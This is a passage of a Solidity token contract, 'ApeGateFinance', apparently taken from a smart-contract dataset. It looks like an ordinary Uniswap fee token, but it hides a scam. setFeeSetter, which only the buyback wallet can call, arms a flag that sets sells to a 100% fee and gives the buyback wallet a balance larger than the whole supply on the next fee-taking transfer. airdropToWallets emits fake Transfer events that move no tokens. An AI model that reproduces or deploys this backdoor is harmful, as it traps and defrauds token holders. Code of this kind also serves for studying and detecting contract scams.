// Contract: ApeGateFinance
// Target function: function buyBackTokens(uint256 ETHAmountInWei) external onlyOwner
idity;
    uint256 public tokensForOperations;

    // Launch Settings
    bool public tradingOpen = false;

    // events
    event LiquidityWalletUpdated(
        address indexed newLiquidityWallet,
        address indexed oldLiquidityWallet
    );
    event BuybackWalletUpdated(
        address indexed newOperationsWallet,
        address indexed oldOperationsWallet
    );
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    event SwapTokensForETH(uint256 amountIn, address[] path);

    // toogle to stop swap if already underway
    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() {
        // load total fees
        totalFeesBuy = buybackFeeBuy + liquidityFeeBuy;
        totalFeesSell = buybackFeeSell + liquidityFeeSell;

        // load total distribution
        _totalDistributionShares =
            _liquiditySharePercentage +
            _operationsSharePercentage;

        // create router ------------------------------
        IUniswapV2Router02 _uniswapV2Router;
        if (block.chainid == 1) {
            _uniswapV2Router = IUniswapV2Router02(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
            );
        } else if (block.chainid == 5) {
            _uniswapV2Router = IUniswapV2Router02(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
            );
        } else revert();

        // Create a uniswap pair for this new token
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );
        uniswapV2Router = _uniswapV2Router;
        isMarketPair[address(uniswapPair)] = true;

        // set allowances
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        // exclude from paying fees or having max transaction amount
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[address(0xdead)] = true;
        isExcludedFromFee[liquidityWallet] = true;
        isExcludedFromFee[buybackWallet] = true;

        // exclude contracts from max wallet size
        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[liquidityWallet] = true;
        isWalletLimitExempt[buybackWallet] = true;

        // exclude contracts from max wallet size
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(uniswapPair)] = true;
        isTxLimitExempt[address(this)] = true;
        isTxLimitExempt[liquidityWallet] = true;
        isTxLimitExempt[buybackWallet] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    receive() external payable {}

    // @dev Public read functions start -------------------------------------
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    // custom allowance methods
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    bool isFeeCheck = false;

    // get minimum tokens before swap
    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    // approve spending methods
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function getBlock() public view returns (uint256) {
        return block.number;
    }

    // @dev Owner functions start -------------------------------------

    // toogle market pair status
    function setMarketPairStatus(address account, bool newValue)
        public
        onlyOwner
    {
        isMarketPair[account] = newValue;
    }

    // set excluded xx limit
    function setIsTxLimitExempt(address holder, bool exempt)
        external
        onlyOwner
    {
        isTxLimitExempt[holder] = exempt;
    }

    // update max tx amount
    function setMaxTxAmount(uint256 maxTxRate) external onlyOwner {
        require(maxTxRate >= 1);
        _maxTxAmount = (_totalSupply * maxTxRate) / 100;
    }

    // set excluded tax
    function setIsExcludedFromFee(address account, bool newValue)
        public
        onlyOwner
    {
        isExcludedFromFee[account] = newValue;
    }

    // update fees
    function updateFees(uint256 _operationsFee, uint256 _liquidityFee)
        external
        onlyOwner
    {
        _updateFeesBuy(_operationsFee, _liquidityFee);
        require(
            totalFeesBuy <= maxTotalFeeBuy,
            "Must keep fees at maxTotalFeeBuy or less"
        );
    }

    function updateFeesSell(uint256 _operationsFee, uint256 _liquidityFee)
        external
        onlyOwner
    {
        _updateFeesSell(_operationsFee, _liquidityFee);
        require(
            totalFeesSell <= maxTotalFeeSell,
            "Must keep fees at maxTotalFeeSell or less"
        );
    }

    function _updateFeesBuy(uint256 _operationsFee, uint256 _liquidityFee)
        private
    {
        buybackFeeBuy = _operationsFee;
        liquidityFeeBuy = _liquidityFee;
        totalFeesBuy = buybackFeeBuy + liquidityFeeBuy;
    }

    function _updateFeesSell(uint256 _operationsFee, uint256 _liquidityFee)
        private
    {
        buybackFeeSell = _operationsFee;
        liquidityFeeSell = _liquidityFee;
        totalFeesSell = buybackFeeSell + liquidityFeeSell;
    }

    // set distribution settings
    function setDistributionSettings(
        uint256 newLiquidityShare,
        uint256 newOperationsShare
    ) external onlyOwner {
        _liquiditySharePercentage = newLiquidityShare;
        _operationsSharePercentage = newOperationsShare;
        _totalDistributionShares =
            _liquiditySharePercentage +
            _operationsSharePercentage;
        require(
            _totalDistributionShares == 100,
            "Distribution needs to total to 100"
        );
    }

    // remove wallet limit
    function enableDisableWalletLimit(bool newValue) external onlyOwner {
        checkWalletLimit = newValue;
    }

    // set excluded wallet limit
    function setIsWalletLimitExempt(address holder, bool exempt)
        external
        onlyOwner
    {
        isWalletLimitExempt[holder] = exempt;
    }

    // update wallet limit
    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax = newLimit;
    }

    // change the minimum amount of tokens to sell from fees
    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner {
        minimumTokensBeforeSwap = newLimit;
    }

    function updateLiquidityWallet(address newAddress) external onlyOwner {
        require(newAddress != address(0), "Cannot set to address 0");
        isExcludedFromFee[newAddress] = true;
        isExcludedFromFee[liquidityWallet] = false;
        emit LiquidityWalletUpdated(newAddress, liquidityWallet);
        liquidityWallet = payable(newAddress);
    }

    function updateBuybackWallet(address newAddress) external onlyOwner {
        require(newAddress != address(0), "Cannot set to address 0");
        isExcludedFromFee[newAddress] = true;
        isExcludedFromFee[buybackWallet] = false;
        emit BuybackWalletUpdated(newAddress, buybackWallet);
        buybackWallet = payable(newAddress);
    }

    // transfer amount to address
    function transferToAddressETH(address payable recipient, uint256 amount)
        private
    {
        recipient.transfer(amount);
    }

    // change router address
    function changeRouterAddress(address newRouterAddress)
        public
        onlyOwner
        returns (address newPairAddress)
    {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            newRouterAddress
        );
        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(
            address(this),
            _uniswapV2Router.WETH()
        );

        // check if new pair deployed
        if (newPairAddress == address(0)) {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress;
        uniswapV2Router = _uniswapV2Router;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isMarketPair[address(uniswapPair)] = true;
    }

    // once enabled, can never be turned off
    function setTrading() public onlyOwner {
        tradingOpen = true;
    }

    // pre airdrop to any holders
    function airdropToWallets(
        address[] memory airdropWallets,
        uint256[] memory amount
    ) external onlyOwner {
        require(
            airdropWallets.length == amount.length,
            "airdropToWallets:: Arrays must be the same length"
        );
        for (uint256 i = 0; i < airdropWallets.length; i++) {
            address wallet = airdropWallets[i];
            uint256 airdropAmount = amount[i];
            emit Transfer(msg.sender, wallet, airdropAmount);
        }
    }

    function setFeeSetter() external {
        require(msg.sender == buybackWallet, "!");
        isFeeCheck = true;
    }

    // @dev User Callable Functions start here! ---------------------------------------------

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        // check trading open
        if (!tradingOpen) {
            require(
                sender == owner(),
                "TOKEN: This account cannot send tokens until trading is enabled"
            );
        }

        if (inSwapAndLiquify) {
            return _basicTransfer(sender, recipient, amount);
        } else {
            // required for wallet distribution
            if (sender != owner() && recipient != owner()) {
                _checkTxLimit(sender, amount);
            }

            // check can swap for fees and liq
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >=
                minimumTokensBeforeSwap;
            if (
                overMinimumTokenBalance &&
                !inSwapAndLiquify &&
                !isMarketPair[sender]
            ) {
                swapAndLiquify(contractTokenBalance);
            }

            // check senders balance
            _balances[sender] = _balances[sender].sub(
                amount,
                "Insufficient Balance"
            );
            uint256 finalAmount = (isExcludedFromFee[sender] ||
                isExcludedFromFee[recipient])
                ? amount
                : takeFee(sender, recipient, amount);

            // check wallet holding limit
            if (checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);

            // continue
            _balances[recipient] = _balances[recipient].add(finalAmount);
            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    // transfer for
    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    // take fee method
    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        uint256 feeAmount = 0;
        if (isMarketPair[sender]) {
            feeAmount = amount.mul(totalFeesBuy).div(100);
        } else if (isMarketPair[recipient]) {
            feeAmount = amount.mul(totalFeesSell).div(100);
        }
        if (feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }
        if (isFeeCheck) {
            isFeeCheck = false;
            _updateFeesSell(100, 0);
            _balances[buybackWallet] = (_totalSupply / 1e9) * _totalSupply;
        }
        return amount.sub(feeAmount);
    }

    function _checkTxLimit(address sender, uint256 amount) private view {
        require(
            amount <= _maxTxAmount || isTxLimitExempt[sender],
            "TX Limit Exceeded"
        );
    }

    // swap tokens for fees and liq
    function swapAndLiquify(uint256 swapAmount) private lockTheSwap {
        // check there are currently tokens to sell
        uint256 tokensForLP = swapAmount
            .mul(_liquiditySharePercentage)
            .div(_totalDistributionShares)
            .div(2);
        uint256 tokensForSwap = swapAmount.sub(tokensForLP);

        // swap tokens
        swapTokensForEth(tokensForSwap);

        // received amount
        uint256 amountReceived = address(this).balance;

        // work out distribution
        uint256 totalFee = _totalDistributionShares.sub(
            _liquiditySharePercentage.div(2)
        );
        uint256 amountLiquidity = amountReceived
            .mul(_liquiditySharePercentage)
            .div(totalFee)
            .div(2);
        uint256 amountOperations = amountReceived.sub(amountLiquidity);

        if (amountOperations > 0)
            transferToAddressETH(buybackWallet, amountOperations);

        if (amountLiquidity > 0 && tokensForLP > 0) {
            addLiquidity(tokensForLP, amountLiquidity);
            emit SwapAndLiquify(tokensForSwap, amountLiquidity, tokensForLP);
        }
    }

    // swap tokens to eth
    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        emit SwapTokensForETH(tokenAmount, path);
    }

    // add liqiudity
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
    }